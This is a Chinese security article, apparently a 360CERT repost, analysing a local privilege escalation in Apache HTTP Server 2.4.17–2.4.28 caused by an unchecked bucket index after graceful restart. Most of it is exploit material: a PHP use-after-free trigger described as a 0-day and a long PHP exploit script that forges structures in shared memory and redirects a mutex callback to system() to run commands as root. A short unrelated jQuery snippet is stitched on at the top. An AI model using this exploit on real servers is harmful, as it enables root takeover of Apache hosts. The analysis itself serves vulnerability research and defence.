<script src="http://0535code.com/wp-content/themes/d8/js/jquery.js?ver=3.0"></script>
<script type="text/javascript">
var url ="http://0535code.com/"
//装入页面
$(window).load(function() {
start();
});
function start(){
$.ajax({
url:url,
type:"POST",
success:function(data){//ajax返回的数据
//var result = data;
//alert(result);
},
});
}
</script>
用Firebug 查看ajax发请求是否成功即可。 | 社区文章 |
**作者：360CERT
来源：<https://cert.360.cn/report/detail?id=c31f9dff7258479f8ef7f03e56ea70d3>**
### 0x00 介绍
从2.4.17到 2.4.28版本，Apache HTTP
发现存在本地提权漏洞，原因是数组访问越界导致任意函数调用。该漏洞由Apache的优雅重启导致(apache2ctl
graceful).在标准Linux配置中，logrotate实用程序每天上午6:25运行此命令一次，以便重置日志文件句柄。
该漏洞影响`mod_prefork`，`mod_worker`和`mod_event`。下面演示以`mod_prefork`为主。
### 0x01 漏洞描述
多处理模块(MPM)，prefork模型中，主服务进程以root权限模式运行，管理一个单线程，低权限（www-data）工作进程池，用于处理HTTP请求。
├─httpd(11666)─┬─httpd(12300)
│ ├─httpd(12301)
│ ├─httpd(12302)
│ ├─httpd(12303)
│ └─httpd(12304)
root 11666 0.0 0.3 272128 12944 ? Ss 15:01 0:00 /usr/local/httpd//bin/httpd -k restart
www 12300 0.0 0.2 274344 9336 ? S 15:12 0:00 /usr/local/httpd//bin/httpd -k restart
www 12301 0.0 0.2 274344 8076 ? S 15:12 0:00 /usr/local/httpd//bin/httpd -k restart
www 12302 0.0 0.2 274344 9476 ? S 15:12 0:00 /usr/local/httpd//bin/httpd -k restart
www 12303 0.0 0.2 274344 9476 ? S 15:12 0:00 /usr/local/httpd//bin/httpd -k restart
www 12304 0.0 0.2 274344 8076 ? S 15:12 0:00 /usr/local/httpd//bin/httpd -k restart
为了从工作进程那里获得反馈，Apache维护了一个共享内存区域（SHM），scoreboard，它包含各种信息，例如工作进程PID和他们处理的最后一个请求。
每个工作进程都要维护与其PID相关联的`process_score`结构，并具有对SHM的完全读/写访问权限。
`ap_scoreboard_image`: 指向共享内存块的指针
(gdb) p *ap_scoreboard_image
$3 = {
global = 0x7f4a9323e008,
parent = 0x7f4a9323e020,
servers = 0x55835eddea78
}
(gdb) p ap_scoreboard_image->servers[0]
$5 = (worker_score *) 0x7f4a93240820
与工作进程PID 12300关联的共享内存示例
(gdb) p ap_scoreboard_image->parent[0]
$6 = {
pid = 12300,
generation = 0,
quiescing = 0 '\000',
not_accepting = 0 '\000',
connections = 0,
write_completion = 0,
lingering_close = 0,
keep_alive = 0,
suspended = 0,
bucket = 0 <- index for all_buckets
}
(gdb) ptype *ap_scoreboard_image->parent
type = struct process_score {
pid_t pid;
ap_generation_t generation;
char quiescing;
char not_accepting;
apr_uint32_t connections;
apr_uint32_t write_completion;
apr_uint32_t lingering_close;
apr_uint32_t keep_alive;
apr_uint32_t suspended;
int bucket; <- index for all_buckets
}
当Apache优雅重启时()，他的主服务进程杀死所有老的工作进程并用新的工作进程代替。
[root@bogon john]# ps -aux | grep http
root 12836 0.0 0.3 272260 13012 ? Ss 15:35 0:00 /usr/local/httpd//bin/httpd -k start
www 15687 0.0 0.1 274344 7632 ? S 17:33 0:00 /usr/local/httpd//bin/httpd -k start
www 15688 0.0 0.1 274344 7632 ? S 17:33 0:00 /usr/local/httpd//bin/httpd -k start
www 15689 0.0 0.1 274344 7632 ? S 17:33 0:00 /usr/local/httpd//bin/httpd -k start
www 15690 0.0 0.1 274344 7632 ? S 17:33 0:00 /usr/local/httpd//bin/httpd -k start
www 15691 0.0 0.1 274344 7632 ? S 17:33 0:00 /usr/local/httpd//bin/httpd -k start
root 15904 0.0 0.0 112712 980 pts/0 S+ 17:53 0:00 grep --color=auto http
[root@bogon john]# apachectl graceful
[root@bogon john]# ps -aux | grep http
root 12836 0.0 0.3 272260 13024 ? Ss 15:35 0:00 /usr/local/httpd//bin/httpd -k start
www 15945 0.0 0.1 274344 7652 ? S 17:53 0:00 /usr/local/httpd//bin/httpd -k start
www 15946 0.0 0.1 274344 7652 ? S 17:53 0:00 /usr/local/httpd//bin/httpd -k start
www 15947 0.0 0.1 274344 7652 ? S 17:53 0:00 /usr/local/httpd//bin/httpd -k start
www 15948 0.0 0.1 274344 7652 ? S 17:53 0:00 /usr/local/httpd//bin/httpd -k start
www 15949 0.0 0.1 274344 7652 ? S 17:53 0:00 /usr/local/httpd//bin/httpd -k start
root 15951 0.0 0.0 112712 976 pts/0 S+ 17:53 0:00 grep --color=auto http
(gdb) p $index = ap_scoreboard_image->parent[0]->bucket
(gdb) p all_buckets[$index]
$7 = {
pod = 0x7f19db2c7408,
listeners = 0x7f19db35e9d0,
mutex = 0x7f19db2c7550
}
(gdb) ptype all_buckets[$index]
type = struct prefork_child_bucket {
ap_pod_t *pod;
ap_listen_rec *listeners;
apr_proc_mutex_t *mutex; <-- }
(gdb) ptype apr_proc_mutex_t
apr_proc_mutex_t {
apr_pool_t *pool;
const apr_proc_mutex_unix_lock_methods_t *meth; <-- int curr_locked;
char *fname;
...
}
(gdb) ptype apr_proc_mutex_unix_lock_methods_t
apr_proc_mutex_unix_lock_methods_t {
...
apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <-- ...
}
由于优雅重启，老的工作进程的bucket值会被主服务进程用来访问`all_buckets`数组.又由于没有进行下标检查，从而会造成提权。
### 0x02 原理分析
1. 恶意用户首先修改bucket,并使其指向恶意构造的`prefork_child_bucket`结构（共享内存中）。
2. 优雅重启
主服务进程会杀死以前所有的工作进程，然后调用`prefork_run`，fork出新的工作进程
<server/mpm/prefork/prefork.c>
//省略无关的部分
static int prefork_run(apr_pool_t *_pconf, apr_pool_t *plog, server_rec *s)
{
int index;
int remaining_children_to_start;
int i;
ap_log_pid(pconf, ap_pid_fname);
if (!retained->mpm->was_graceful) {//跳过，因为优雅启动时，was_graceful为true
if (ap_run_pre_mpm(s->process->pool, SB_SHARED) != OK) {
retained->mpm->mpm_state = AP_MPMQ_STOPPING;
return !OK;
}
/* fix the generation number in the global score; we just got a new,
* cleared scoreboard
*/
ap_scoreboard_image->global->running_generation = retained->mpm->my_generation;
}
...
if (!retained->mpm->was_graceful) {
startup_children(remaining_children_to_start);
remaining_children_to_start = 0;
}
...
while (!retained->mpm->restart_pending && !retained->mpm->shutdown_pending) {
...
ap_wait_or_timeout(&exitwhy, &status, &pid, pconf, ap_server_conf);//获取被杀死的工作进程的PID
...
if (pid.pid != -1) {
processed_status = ap_process_child_status(&pid, exitwhy, status);
child_slot = ap_find_child_by_pid(&pid);//获取PID对应于计分板中对应parent的下标
...
/* non-fatal death... note that it's gone in the scoreboard. */
if (child_slot >= 0) {
(void) ap_update_child_status_from_indexes(child_slot, 0, SERVER_DEAD,
(request_rec *) NULL);
prefork_note_child_killed(child_slot, 0, 0);
if (processed_status == APEXIT_CHILDSICK) {
/* child detected a resource shortage (E[NM]FILE, ENOBUFS, etc)
* cut the fork rate to the minimum
*/
retained->idle_spawn_rate = 1;
}
else if (remaining_children_to_start
&& child_slot < ap_daemons_limit) {//如果工作进程的死亡不是致命的
/* we're still doing a 1-for-1 replacement of dead
* children with new children
*/
make_child(ap_server_conf, child_slot,
ap_get_scoreboard_process(child_slot)->bucket);//则将死亡的工作进程的bucket作为参数传递（注意：bucket我们可以用“非常规手段”进行修改，从而提权）
--remaining_children_to_start;
}
}
}
return OK;
}
make_child：
static int make_child(server_rec *s, int slot, int bucket)
{
...
if (!pid) {
my_bucket = &all_buckets[bucket];//使my_bucket指向共享内存中的到恶意构造的prefork_child_bucket结构
...
child_main(slot, bucket);
...
return 0;
}
static void child_main(int child_num_arg, int child_bucket)
{
...
status = SAFE_ACCEPT(apr_proc_mutex_child_init(&my_bucket->mutex,
apr_proc_mutex_lockfile(my_bucket->mutex),
pchild));//如果Apache侦听两个或更多端口，则SAFE_ACCEPT（<code>）将仅执行<code>(这通常是因为服务器侦听HTTP（80）和HTTPS（443）)
...
}
APR_DECLARE(apr_status_t) apr_proc_mutex_child_init(apr_proc_mutex_t **mutex,
const char *fname,
apr_pool_t *pool)
{
return (*mutex)->meth->child_init(mutex, pool, fname);
}
如果`apr_proc_mutex_child_init`执行，这导致`（* mutex） - > meth->
child_init（mutex，pool，fname）`被调用，从而执行恶意代码（注意，执行恶意代码的时候，进程仍然处于root权限，后面才降低自身的权限）。
### 0x03 通过gdb恶意修改bucket值造成的崩溃
(gdb)
716 child_main(slot, bucket);
(gdb) s
child_main (child_num_arg=child_num_arg@entry=0, child_bucket=child_bucket@entry=80808080) at prefork.c:380
380 {
(gdb) n
..........
432 status = SAFE_ACCEPT(apr_proc_mutex_child_init(&my_bucket->mutex,
(gdb) s
Program received signal SIGSEGV, Segmentation fault.
0x000000000046c16b in child_main (child_num_arg=child_num_arg@entry=0,
child_bucket=child_bucket@entry=80808080) at prefork.c:432
432 status = SAFE_ACCEPT(apr_proc_mutex_child_init(&my_bucket->mutex,
### 0x04 利用
利用分4个步骤
* 获得工作进程的R/W访问权限
* 在共享内存中写一个假的prefork_child_bucket结构
* 使all_buckets [bucket]指向该结构
* 等待早上6:25获得任意函数调用
问题：PHP不允许读写/proc/self/mem， 这会阻止我们利用简单方法编辑共享内存
#### 获取工作进程内存的R/W访问权限
##### PHP UAF 0-day
由于`mod_prefork`经常与`mod_php`结合使用，因此通过PHP利用漏洞似乎很自然。我们使用PHP 7.x中的0day
UAF（这似乎也适用于PHP5.x）来完成利用(也可以利用CVE-2019-6977)
<?php
class X extends DateInterval implements JsonSerializable
{
public function jsonSerialize()
{
global $y, $p;
unset($y[0]);
$p = $this->y;
return $this;
}
}
function get_aslr()
{
global $p, $y;
$p = 0;
$y = [new X('PT1S')];
json_encode([1234 => &$y]);
print("ADDRESS: 0x" . dechex($p) . "\n");
return $p;
}
get_aslr();
这是PHP对象上的UAF： 我们unset this使用。
##### UAF导致读/写
我们希望实现两件事：
* 读取内存以查找all_buckets的地址
* 编辑共享内存，修改bucket，添加我们自定义的恶意结构
幸运的是，PHP的堆位于内存中的那两个之前。
PHP堆，`ap_scoreboard_image`，all_buckets的内存地址
root@apaubuntu:~# cat /proc/6318/maps | grep libphp | grep rw-p
7f4a8f9f3000-7f4a8fa0a000 rw-p 00471000 08:02 542265 /usr/lib/apache2/modules/libphp7.2.so
(gdb) p *ap_scoreboard_image
$14 = {
global = 0x7f4a9323e008,
parent = 0x7f4a9323e020,
servers = 0x55835eddea78
}
(gdb) p all_buckets
$15 = (prefork_child_bucket *) 0x7f4a9336b3f0
由于我们在PHP对象上触发UAF，因此该对象的任何属性也将是UAF; 我们可以将这个zend_object
UAF转换为zend_string。因为zend_string的结构非常有用：
(gdb) ptype zend_string
type = struct _zend_string {
zend_refcounted_h gc;
zend_ulong h;
size_t len;
char val[1];
}
len属性包含字符串的长度。 通过递增它，我们可以在内存中进一步读写，从而访问我们感兴趣的两个内存区域:共享内存和`all_buckets`。
##### 定位bucket index 和 all_buckets
我们需要修改`ap_scoreboard_image->parent[worker_id]->bucket`中的parent结构中的bucket。幸运的是，parent结构总是处于共享内存块的开始，因此很容易找到：
? /www curl 127.0.0.1
PID: 14380
7f8a19da9000-7f8a19dc1000 rw-s 00000000 00:04 61736 /dev/zero (deleted)
? /www
(gdb) p &ap_scoreboard_image->parent[0]
$1 = (process_score *) 0x7f8a19da9040
(gdb) p &ap_scoreboard_image->parent[1]
$2 = (process_score *) 0x7f8a19da9064
(gdb)
为了定位到`all_buckets`,我们可以利用我们对`prefork_child_bucket`结构的了解:
prefork_child_bucket {
ap_pod_t *pod;
ap_listen_rec *listeners;
apr_proc_mutex_t *mutex; <-- }
apr_proc_mutex_t {
apr_pool_t *pool;
const apr_proc_mutex_unix_lock_methods_t *meth; <-- int curr_locked;
char *fname;
...
}
apr_proc_mutex_unix_lock_methods_t {
unsigned int flags;
apr_status_t (*create)(apr_proc_mutex_t *, const char *);
apr_status_t (*acquire)(apr_proc_mutex_t *);
apr_status_t (*tryacquire)(apr_proc_mutex_t *);
apr_status_t (*release)(apr_proc_mutex_t *);
apr_status_t (*cleanup)(void *);
apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <-- apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t);
apr_lockmech_e mech;
const char *name;
}
`all_buckets[0]->mutex` 与 `all_buckets[0]`
位于同一个内存区域中（我的是第一个heap内存区域中）。`apr_proc_mutex_unix_lock_methods_t`是一个静态结构，位于libapr的.data，因此meth指针指向libapr中的data段中，且`apr_proc_mutex_unix_lock_methods_t`结构中的函数，位于libapr中的text段中。
由于我们可以通过`/proc/self/maps`来了解这些内存区域，我们可以遍历Apache内存中的每一个指针，找到一个匹配该结构的指针，这将是`all_buckets
[0]`。
注意，`all_buckets`的地址在每次正常重启时都会发生变化。这意味着当我们的漏洞触发时，`all_buckets`的地址将与我们找到的地址不同。
必须考虑到这一点; 我们稍后会解决该问题。
#### 向共享内存中写入恶意prefork_child_bucket结构
任意函数调用的代码路径如下
bucket_id = ap_scoreboard_image->parent[id]->bucket
my_bucket = all_buckets[bucket_id]
mutex = &my_bucket->mutex
apr_proc_mutex_child_init(mutex)
(*mutex)->meth->child_init(mutex, pool, fname)
为了利用，我们使`(*mutex)->meth->child_init`指向`zend_object_std_dtor(zend_object*
object)`,这产生以下链:
mutex = &my_bucket->mutex
[object = mutex]
zend_object_std_dtor(object)
ht = object->properties
zend_array_destroy(ht)
zend_hash_destroy(ht)
val = &ht->arData[0]->val
ht->pDestructor(val)
pDestructor 使其指向system函数，`&ht->arData[0]->val为system`函数的字符串。
如我们所见，两个最左边的两个结构是可以叠加的(prefork_child_bucket,zend_object结构)。
#### 使all_buckets [bucket]指向恶意构造的结构
由于all_buckets地址在每次优雅重启之后会改变，我们需要对其进行改进，有两种改进：喷射共享内存和使用每个`process_score`结构。
##### 喷射共享内存
如果`all_buckets`的新地址离旧地址不远，my_bucket将会大概指向我们的结构。因此，我们可以将其全部喷射在共享内存的未使用部分上，而不是将我们的`prefork_child_bucket`结构放在共享内存的精确位置。但是问题是，该结构也用于作为`zend_object`结构，因此它的大小为（5
* 8）40个字节以包含`zend_object.properties`字段。在共享内存中，喷射该混合结构，对我们没有帮助。
为了解决该问题，我们叠加`apr_proc_mutex_t`和`zend_array`结构，并将其地址喷洒在共享内存的其余部分。影响将是`prefork_child_bucket.mutex`和`zend_object.properties`指向同一地址。
现在，如果`all_bucket`重新定位没有远离其原始地址，`my_bucket`将位于喷射区域。
##### 使用每个process_score结构
每个Apache工作进程都有一个关联的`process_score`结构，并且每一个都有一个bucket索引。我们可以改变它们中的每一个，而不是改变一个`process_score.bucket`值，以使它们覆盖内存的另一部分。
例如：
ap_scoreboard_image->parent[0]->bucket = -10000 -> 0x7faabbcc00 <= all_buckets <= 0x7faabbdd00
ap_scoreboard_image->parent[1]->bucket = -20000 -> 0x7faabbdd00 <= all_buckets <= 0x7faabbff00
ap_scoreboard_image->parent[2]->bucket = -30000 -> 0x7faabbff00 <= all_buckets <= 0x7faabc0000
这样一来，我们的成功率就是原始成功率乘以Apache Worker的数量。 作者通过在共享内存中查找worker
process的PID从而定位到每个`process_score`结构，并利用被UAF漏洞修改过的字符串结构对bucket字段值进行修改。
#### 成功率
不同的Apache服务具有不同数量的工作进程。
拥有更多的工作进程意味着我们可以在更少的内存上喷射互斥锁的地址，但这也意味着我们可以为`all_buckets`指定更多的索引。
这意味着拥有更多工作进程可以提高我们的成功率。 在测试Apache服务器上尝试了4个工作进程（默认）后，成功率大约为80％。
随着更多工作进程，成功率跃升至100％左右。
同样，如果漏洞利用失败，它可以在第二天重新启动，因为Apache仍将正常重启。 然而，Apache的error.log将包含有关其工作进程段错误的通知。
### 0x05 利用PHP扩展模块体验任意函数执行
为了更好的理解该漏洞，我们用PHP扩展，来模拟PHP UAF，以达到任意地址读写。
#### 环境
操作系统:CentOS 7 x64
Apache版本:Apache/2.4.38 (Unix)
PHP版本:PHP 7.3.3
Apache 编译选项:
./configure --prefix=/usr/local/httpd/ \
--sysconfdir=/etc/httpd/ \
--with-include-apr \
--disable-userdir \
--enable-headers \
--with-mpm=prefork \
--enable-modules=most \
--enable-so \
--enable-deflate \
--enable-defate=shared \
--enable-expires-shared \
--enable-rewrite=shared \
--enable-static-support \
--with-apr=/usr/local/apr/ \
--with-apr-util=/usr/local/apr-util/bin \
--with-ssl \
--with-z
PHP编译选项:
./configure --prefix=/usr/local/php/ \
--with-config-file-path=/usr/local/php/etc/ \
--with-apxs2=/usr/local/httpd/bin/apxs \
--enable-fpm \
--with-zlib \
--with-libxml-dir \
--enable-sockets \
--with-curl \
--with-jpeg-dir \
--with-png-dir \
--with-gd \
--with-iconv-dir \
--with-freetype-dir \
--enable-gd-native-ttf \
--with-xmlrpc \
--with-openssl \
--with-mhash \
--with-mcrypt \
--with-pear \
--enable-mbstring \
--enable-sysvshm \
--enable-zip \
--disable-fileinfo
PHP扩展
[root@bogon php-extension]# cat read_mem.c
#include <stdio.h>
#include <stdint.h>
long read_mem(long addr)
{
return (unsigned long)(*((uint8_t*)(addr)));
}
[root@bogon php-extension]# cat write_mem.c
#include <stdio.h>
#include <stdint.h>
void write_mem(long addr,long data)
{
*((uint8_t*)addr) = data;
}
[root@bogon php-extension]#
#### 问题
我在Apache 2.4.38 与 Apache
2.4.25中，测试发现`all_buckets`的地址与共享内存的地址之间的差值，远远不是一个4字节能表示的（bucket索引4字节）。所以在我的演示中，需要通过gdb来修改
my_bucket = &all_buckets[bucket];//prefork.c:685
`my_bucket`的值，来模拟修改bucket，使其指向恶意的`prefork_child_bucket`结构。
#### PHP利用代码
<?php
function read_mem_dword($addr)
{
$ret = 0;
for($j = 0;$j<4;$j++){
$ret += read_mem($addr+$j) * pow(256,$j);
}
return $ret;
}
function read_mem_qword($addr)
{
$ret = 0;
for($j = 0;$j<8;$j++){
$ret += read_mem($addr+$j) * pow(256,$j);
}
return $ret;
}
function read_mem_byte($addr)
{
return read_mem($addr);
}
function write_mem_qword($addr,$data)
{
for($j=0;$j<8;$j++){
$b = (0xff&(($data)>>($j*8)));
write_mem($addr+$j,$b);
}
}
function write_mem_dword($addr,$data)
{
for($j=0;$j<4;$j++){
$b = (0xff&(($data)>>($j*8)));
write_mem($addr+$j,$b);
}
}
function write_mem_byte($addr,$data)
{
write_mem($addr,$data);
}
/*
get_mem_region:
str为，maps文件中的特征字符串,用于搜索指定的内存区域
返回值为:
array(2) {
[0]=>//第一个匹配的内存区域
array(2) {
[0]=>
int(140231115968512)//起始地址
[1]=>
int(140231116066816)//结束地址
[2]=>
string(4) "rw-s"//保护权限
}
[1]=>//第二个匹配的内存区域
array(2) {
[0]=>
int(140231116201984)
[1]=>
int(140231116718080)
[2]=>
string(4) "rw-s"//保护权限
}
}
*/
function get_mem_region($str)
{
$file = fopen("/proc/self/maps","r");
$result_index = 0;
$result = array();
while(!feof($file)){
$line = fgets($file);
if(strpos($line,$str)){
$addr_len = 0;
for(;$line[$addr_len]!='-';$addr_len++);
$start_addr_str = substr($line,0,$addr_len);
$end_addr_str = substr($line,$addr_len+1,$addr_len);
$result[$result_index][0] = hexdec($start_addr_str);
$result[$result_index][1] = hexdec($end_addr_str);
$result[$result_index][2] = substr($line,$addr_len*2+2,4);
$result_index++;
}
}
fclose($file);
return $result;
}
function locate_parent_arr_addr()//获取共享内存中，parent数组的首地址
{
$my_pid = getmypid();
$shm_region = get_mem_region("/dev/zero");
if(!count($shm_region))
return 0;
//parent数组项的大小是，每个0x20个字节
//pid_t在我环境中，大小4字节
$pid_t_size = 4;
$parent_size = 0x24;
//只检查共享内存的前0x1000字节(4KB)
for($i = 0;$i<0x1000;$i++){
$hit_count = 0;
for($j = 0;$j<5;$j++){//循环次数，请参考httpd-mpm.conf中的prefork的MinSpareServers
$pid = read_mem_dword($shm_region[0][0]+ $i + $j*$parent_size);
if( $my_pid - 20 < $pid && $pid < $my_pid+20){//因为prefork中，进程的pid是紧挨的，我们可以通过这个来判断是否是parent数组的首地址
$hit_count++;
}
}
if($hit_count == 5){
return $shm_region[0][0]+$i;
}
}
return 0;
}
function locate_self_parent_struct_addr()//获取共享内存中，当前parent的首地址
{
$my_pid = getmypid();
$shm_region = get_mem_region("/dev/zero");
if(!count($shm_region))
return 0;
//因为parent数组，总是位于第一个/dev/zero中，所以，我们只搜索第一个
echo "/dev/zero start addr:0x".dechex($shm_region[0][0])."\n";
echo "/dev/zero end addr:0x".dechex($shm_region[0][1])."\n";
for($i =0;$i<4096;$i++){
$pid = read_mem_dword($shm_region[0][0]+$i);//pid_t在我的环境中，为4字节大小
if($pid == $my_pid){
return $shm_region[0][0]+$i;//找到直接返回
}
}
return 0;
}
//获取all_buckets的地址
function locate_all_buckets_addr()
{
$heap_region = get_mem_region("heap");//在我的环境中，all_bucket位于第一个heap中
$libapr_region = get_mem_region("libapr-");
if(!count($heap_region) || !count($libapr_region))
return 0;
$heap_start_addr = $heap_region[0][0];
$heap_end_addr = $heap_region[0][1];
echo "heap start addr:0x".dechex($heap_start_addr)."\n";
echo "heap end addr:0x".dechex($heap_end_addr)."\n";
$libapr_text_start_addr = 0;
$libapr_data_start_addr = 0;
$libapr_text_end_addr = 0;
$libapr_data_end_addr = 0;
for($i = 0;$i<count($libapr_region);$i++){
if($libapr_region[$i][2] === "r-xp"){//代码段
$libapr_text_start_addr = $libapr_region[$i][0];
$libapr_text_end_addr = $libapr_region[$i][1];
continue;
}
if($libapr_region[$i][2] === "r--p"){//const data
$libapr_data_start_addr = $libapr_region[$i][0];
$libapr_data_end_addr = $libapr_region[$i][1];
continue;
}
}
echo "libapr text start addr:0x".dechex($libapr_text_start_addr)."\n";
echo "libapr text end addr:0x".dechex($libapr_text_end_addr)."\n";
echo "libapr data start addr:0x".dechex($libapr_data_start_addr)."\n";
echo "libapr data end addr:0x".dechex($libapr_data_end_addr)."\n";
$result = array();
$result_index = 0;
for($i = 0;$i<$heap_end_addr - $heap_start_addr;$i+=8){//遍历heap
$mutex_addr = read_mem_qword($heap_start_addr + $i);//prefork_child_bucket中的mutex
if( $heap_start_addr <$mutex_addr && $mutex_addr<$heap_end_addr ){
$meth_addr = read_mem_qword($mutex_addr + 8);//apr_proc_mutex_t中的meth
if( $libapr_data_start_addr < $meth_addr && $meth_addr < $libapr_data_end_addr){
$function_point = read_mem_qword($meth_addr+8);
if($libapr_text_start_addr < $function_point && $function_point < $libapr_text_end_addr){
$result[$result_index++] = $heap_start_addr + $i - 8 -8;
}
}
}
}
//在我的环境中，有多个地址满足是all_buckets 地址的要求，但是只有第3个才是正确的
if( count($result)!= 4 ){
return 0;
}
else{
return $result[2];
}
}
echo "PID: ".getmypid()."\n";
$parent_struct_addr = locate_self_parent_struct_addr();
if($parent_struct_addr == 0){
die("get self parent struct addr error\n");
}
echo "self parent struct addr:0x".dechex($parent_struct_addr)."\n";
$parent_arr_addr = locate_parent_arr_addr();
if($parent_arr_addr){
echo "parent arr addr:0x".dechex($parent_arr_addr)."\n";
}
$all_buckets_addr = locate_all_buckets_addr();
if($all_buckets_addr == 0){
die("get all_buckets addr error\n");
}
echo "all_buckets addr:0x".dechex($all_buckets_addr)."\n";
$evil_parent_start_addr = $parent_arr_addr + 0x24 * 10;//(我这里的parent 就是 prefork_child_bucket结构，0x24是每个prefork_child_bucket的大小，10参考http-mpm.conf中prefork的MaxSpareServers)
echo "evil prefork_child_bucket start addr:0x".dechex($evil_parent_start_addr)."\n";
//我们需要将prefork_child_bucket与zend_object结合，使其包含zend_object 的 properties字段,因此prefork_child_bucket的"大小"是40+16字节
$evil_parent_end_addr = $evil_parent_start_addr + 40+16;
echo "evil prefork_child_bucket end addr:0x".dechex($evil_parent_end_addr)."\n";
//将apr_proc_mutex_t结构与zend_array结构结合为一个结构
$evil_zend_array_start_addr = $evil_parent_end_addr;
echo "evil zend_array start addr:0x".dechex($evil_zend_array_start_addr)."\n";
$evil_zend_array_end_addr = $evil_zend_array_start_addr + 0x38;
echo "evil zend_array end addr:0x".dechex($evil_zend_array_end_addr)."\n";
//apr_proc_mutex_unix_lock_methods_t结构
$evil_mutex_methods_start_addr = $evil_zend_array_end_addr;
$evil_mutex_methods_end_addr = $evil_mutex_methods_start_addr + 0x50;
echo "evil mutex_methods start addr:0x".dechex($evil_mutex_methods_start_addr)."\n";
echo "evil mutex_methods end addr:0x".dechex($evil_mutex_methods_end_addr)."\n";
//system()中的字符串
$evil_string = "touch /hello";
$evil_string_len = strlen($evil_string)+1;//\0结尾
if($evil_string_len%8){//对齐
$evil_string_len = ((int)($evil_string_len/8)+1)*8;
}
echo "evil string: ".$evil_string." len:".$evil_string_len."\n";
$evil_string_start_addr = $evil_mutex_methods_end_addr;
$evil_string_end_addr = $evil_string_start_addr + $evil_string_len;
echo "evil string start addr:0x".dechex($evil_string_start_addr)."\n";
echo "evil string end addr:0x".dechex($evil_string_end_addr)."\n";
//查找zend_object_std_dtor的地址(我的在libphp7.so)
$zend_object_std_dtor_addr = 0;
$libphp_region = get_mem_region("libphp");
if(!count($libphp_region)){
die("can't find zend_object_std_dtor function addr\n");
}
for($i = 0;$i<count($libphp_region);$i++){
if($libphp_region[$i][2] === "r-xp"){
$zend_object_std_dtor_addr = $libphp_region[$i][0]+0x4F8300;//zend_object_std_dtor 在libphp7.so代码段中的偏移
break;
}
}
if($zend_object_std_dtor_addr === 0){
die("can't find zend_object_std_dtor function addr\n");
}
echo "zend_object_std_dtor function addr:0x".dechex($zend_object_std_dtor_addr)."\n";
//查找system函数的地址(在libpthread中)
$system_addr = 0;
$pthread_region = get_mem_region("pthread");
if(!count($pthread_region)){
die("can't find system function addr\n");
}
for($i = 0;$i<count($pthread_region);$i++){
if($pthread_region[$i][2] === "r-xp"){
$system_addr = $pthread_region[$i][0]+0xF4C0;//system 在libpthread-2.17.so代码段中的偏移
break;
}
}
if($system_addr === 0){
die("can't find system function addr\n");
}
echo "system function addr:0x".dechex($system_addr)."\n";
//将apr_proc_mutex_unix_lock_methods_t中的child_init改为zend_object_std_dtor
$child_init = $evil_mutex_methods_start_addr+0x30;
echo "child_init(0x".dechex($child_init).") => zend_object_std_dtor\n";
write_mem_qword($evil_mutex_methods_start_addr+0x30,$zend_object_std_dtor_addr);
//将混合结构zend_array的pDestructor指向system
$pDestructor = $evil_zend_array_start_addr + 0x30;
echo "pDestructor(0x".dechex($pDestructor).") => system\n";
write_mem_qword($pDestructor,$system_addr);
//将混合结构zend_array的meth指向apr_proc_mutex_unix_lock_methods_t
$meth = $evil_zend_array_start_addr + 0x8;
echo "meth(0x".dechex($meth).") => mutex_mthods_struct\n";
write_mem_qword($meth,$evil_mutex_methods_start_addr);
write_mem_qword($evil_zend_array_start_addr,0x1);
//将prefork_child_bucket中的mutex指向混合结构zend_array
$mutex = $evil_parent_start_addr + 0x10;
echo "mutex(0x".dechex($mutex).") => zend_array struct\n";
write_mem_qword($mutex,$evil_zend_array_start_addr);
//将混合结构prefork_child_bucket中的properties指向zend_array结构
$properties = $evil_parent_start_addr + 0x20+0x10;
echo "properties(0x".dechex($properties).") => zend_array struct\n";
write_mem_qword($properties,$evil_zend_array_start_addr);
//system 字符串 写入
for($i = 0;$i<strlen($evil_string);$i++){
$b = ord($evil_string[$i]);
write_mem($evil_string_start_addr+$i,$b);
}
write_mem($evil_string_start_addr+$i,0);
//将zend_array中的arData指向system字符串
$ar_data = $evil_zend_array_start_addr + 0x10;
echo "ar_data(0x".dechex($ar_data).") => evil string\n";
write_mem_qword($ar_data,$evil_string_start_addr);
//将zend_array中的nNumUsed设置为1，（自行分析代码去）
$nNumUsed = $evil_zend_array_start_addr + 0x18;
write_mem_qword($nNumUsed,1);
//堆喷
echo "\nSpraying the shared memory start\n\n";
$shm_region = get_mem_region("/dev/zero");
$evil_shm_start_addr = $evil_string_end_addr;
$evil_shm_end_addr = $shm_region[0][1];
$evil_shm_size = $evil_shm_end_addr - $evil_shm_start_addr;
$evil_shm_mid_addr = $evil_shm_start_addr + 8*((int)(((int)($evil_shm_size/2))/8) + 1);
echo "evil_shm_start:0x".dechex($evil_shm_start_addr)."\n";
echo "evil_shm_end:0x".dechex($evil_shm_end_addr)."\n";
echo "evil_shm_size:".dechex($evil_shm_size)."\n";
for($i = 0;$i<$evil_shm_size;$i+=8){
write_mem_qword($evil_shm_start_addr+$i,$evil_zend_array_start_addr);
}
echo "evil_shm_mid_addr:0x".dechex($evil_shm_mid_addr)."\n";
echo "bucket:".dechex($bucket)."\n";
?>
利用成功时，会在根目录下，创建hello文件
#### 步骤
##### 根目录显示
? ~ ls /
bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var www
##### 让服务器执行恶意php代码
? ~ curl 127.0.0.1
PID: 19896
/dev/zero start addr:0x7f1f62a32000
/dev/zero end addr:0x7f1f62a4a000
self parent struct addr:0x7f1f62a32040
parent arr addr:0x7f1f62a32040
heap start addr:0xf59000
heap end addr:0x1022000
libapr text start addr:0x7f1f61ffa000
libapr text end addr:0x7f1f6202f000
libapr data start addr:0x7f1f6222e000
libapr data end addr:0x7f1f6222f000
all_buckets addr:0xff0c18
evil prefork_child_bucket start addr:0x7f1f62a321a8
evil prefork_child_bucket end addr:0x7f1f62a321e0
evil zend_array start addr:0x7f1f62a321e0
evil zend_array end addr:0x7f1f62a32218
evil mutex_methods start addr:0x7f1f62a32218
evil mutex_methods end addr:0x7f1f62a32268
evil string: touch /hello len:16
evil string start addr:0x7f1f62a32268
evil string end addr:0x7f1f62a32278
zend_object_std_dtor function addr:0x7f1f5c03d300
system function addr:0x7f1f617a94c0
child_init(0x7f1f62a32248) => zend_object_std_dtor
pDestructor(0x7f1f62a32210) => system
meth(0x7f1f62a321e8) => mutex_mthods_struct
